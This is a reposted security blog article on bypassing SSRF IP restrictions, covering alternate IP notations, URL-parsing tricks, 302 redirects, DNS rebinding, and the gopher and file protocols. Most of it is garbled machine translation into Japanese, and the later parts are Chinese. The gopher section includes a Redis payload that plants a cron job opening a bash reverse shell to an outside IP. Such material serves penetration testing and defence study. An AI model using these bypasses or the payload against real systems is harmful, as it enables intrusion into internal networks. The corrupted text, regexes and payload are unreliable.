SSRFバイパスIPの制限方法

、SSRFプロフィール

SSRF(サーバー側のリクエストフォージェリ、サーバ側のリクエストフォージェリは):クライアントが取得したデータを得ることができないので、人気のそれは、私たちは、サーバによって開始された要求を偽造することができます。主な理由は、サーバが提供するインタフェースは、URLパラメータを要求されるコンテンツが含まれており、フィルタのURLパラメータを介してクライアントに送信されていないSSRF脆弱性を形成しています。この脆弱性によって引き起こされる害は以下のとおりです。

(1)ネットワーク外、サーバは、ローカルポートスキャン、ネットワーク内に存在することができるバナーいくつかの情報サービスを取得し、
(2)、ネットワーク攻撃を含む、または(例えばオーバーフローなどの)ローカルアプリケーションを実行する; 
(3)、内部ネットのWebアプリケーションのフィンガープリント、デフォルトにアクセスすることで、ドキュメント; 
;主にGETパラメータを使用して(4)、Webアプリケーション攻撃ネットワーク内外には、(などStruts2のエクスプロイト、SQLインジェクション、など)の攻撃を達成することができます
(5)、使用ファイルプロトコルは、ローカルファイルを読み取ります。

 

一般的な防衛は、URLパラメータ、URLパラメータをフィルタリングすることであるか、ユーザーが制御不能になります。

第二に、いくつかの方法は、フィルタリングSSRFをバイパスします

192.168.0.1,10.0.0.1登場以降は、すべてのサーバーのネットワーク・アドレスです。

1、IPアドレスの表記を変更

一部の開発者には渡さURLパラメータを経由してなり、このような次の正規表現を使用して、内部ネットワークのIPをフィルタリングするための正規一致しました。

^ 10(\([2] [0-4] \ D | [2] [5] [0-5] |?[01] \ D \ D)){3} $ 

。^ 172 \([ 1] [6-9] | [2] \ D | 3 [01])(\([2] [0-4] \ D | [2] [5] [0-5] | [01]? ?\ D \ D)){2} $ 

^ 192 \ 0.168(\([2] [0-4] \ D | [2] [5] [0-5] | [01] \ D? \ D)){2} $

この行為は、フィルタ適応文言をバイパスするために我々は、たとえば、IPアドレス192.168.0.1は、私たちは次のように書き換えることができ、IPの方法を使用することができます。

(1)進形式で:0300.0250.0.1 

(2)16進形式:0xC0.0xA8.0.1 

(3)は、10進整数形式:3232235521は、

(4)、進整数形式:0xC0A80001

また、特別なモードがあり、省略されている、例えば、IPのように記述することができます10.0.0.1 10.1

URLを発生する2、使用した分析の問題

いくつかのケースでは、URLへのアクセス、バックエンドプログラムは、ホストアドレスフィルタリングを解析するために、解決することがあります。URLパラメータはフィルタをバイパスすることができ、誤った解析するときに発生することがあります。

http://[email protected]/

(あるコム文字コンテンツ、後まで、HTTPなどの間違った正規表現によって、プログラムの場合は後端www.baidu.com、ホストアドレスにアクセスするための要求を考えられる)上記URLの内容を解析するとき、ホスト用URLへのアクセスを検討する可能性があるwww.baidu.com、実際にはこれは192.168.0.1に要求されたコンテンツのURLです。

3、ジャンプ302使用

パラメータが正しくホストのURLを解析し、受信した後、バックエンドサーバーがフィルタリングを実行した場合、我々はバイパスする302個の方法をジャンプして、この時間を使用することができます。

(1)、ネットワーク上の非常に不思議なサービスがあり、http://xip.io  我々は、このサイトのサブドメインを訪問したとき、など192.168.0.1.xip.ioは、それが自動的に192.168.0.1にリダイレクトされます。

(2)上記の方法は、このIPアドレス192.168.0.1を含む、正規表現を濾過することができる、我々は、ショートアドレスによってバイパスすることができます。テストされ、IPアドレスモードをサポートしていませんシーナ、Baiduの短いサービスを発見され、それが本明細書中で使用されてhttp://tinyurl.com以下に示すように、サービスによって提供される短いアドレス:

同様に、我々はまた、同様の機能を実現するためにジャンプするセルフサービス・インターフェースを書くことができます。

図4に示すように、非HTTPプロトコルの種々によって:

認証に使用するURLプロトコルにアクセスするには、サーバー側のプログラムならば、それは非HTTPプロトコルを用いて行うことができます。

(1)、GOPHERプロトコル:ネットワークアプリケーション内の攻撃の目的を達成するために、我々は、GOPHERでURLパラメータでのポストを構築したり、要求を取得します。例えば、我々はGOPHER Redisのプロトコルとネットワークサービス攻撃を使用することができ、次のURLを使用することができます。

 

ホリネズミ://127.0.0.1:6379 / _ * 1%0D%0A $ 8%0D%0aflushall%0D%0A * 3%0Dの%0Aの$ 3%0Dの%の0aset%の0D%0A $ 1%0Dの%0A1%0Dの%0Aの$ 64%の0Dの%0Aのの%の0D%0A%0A%0A * / 1 * * * * bashの-i>&/dev/tcp/172.19.23.228/23330> &1%0A%0A%0A%0A%0A%0D% 0Aの%の0D%の0A%の0D%の0A * 4%0Dの%の0A $ 6%0D%の0aconfig%の0Dの%の0A $ 3%0Dの%の0aset%の0Dの%の0A $ 3%0Dの%の0adir%の0Dの%の0A $ 16%0D%の0A / VAR / /%0Dの%の0Aの* 4%0Dの%の0A $ 6%0Dの%の0aconfig%の0Dの%の0A $ 3%0Dの%の0aset%の0Dの%の0A $ 10%0Dの%の0adbfilename%の0Dの%の0A $ 4%0Dの%の0arootの%の0Dの%の0Aスプール/クーロン* 1%0D%0A $ 4%0D%の0asave%0Dの%の0aquitのの%0D%0A

 

(2)、ファイルプロトコル:///このファイル形式のコンピュータのローカルファイルパスにアクセス:ファイルプロトコルは、主にローカルコンピュータ上のファイルへのアクセスのために使用されている、我々はファイルのようなものを使用することができます。行われ、アクセスIPフィルタリングサーバプログラムのファイルプロトコルを使用しないでください。例えば、我々はファイルすることができます:/// D:/1.txt Dディスク1.TXTの内容にアクセスします

5、DNSの再バインド

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

 

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

 

三、总结

         总的来说,造成能够绕过服务器端检查的原因是在服务器对资源进行请求的时候对URL的验证出现了纰漏,除了上述已知的方法外可能还有不同的方法,但是万变不离其宗。同时,在程序员进行开发的同时,尽量使用白名单的方式来进行过滤,能够较大程度上的保证安全性。

 

 

转载自:https://www.freebuf.com/articles/web/135342.html

おすすめ

転載: www.cnblogs.com/iAmSoScArEd/p/11458850.html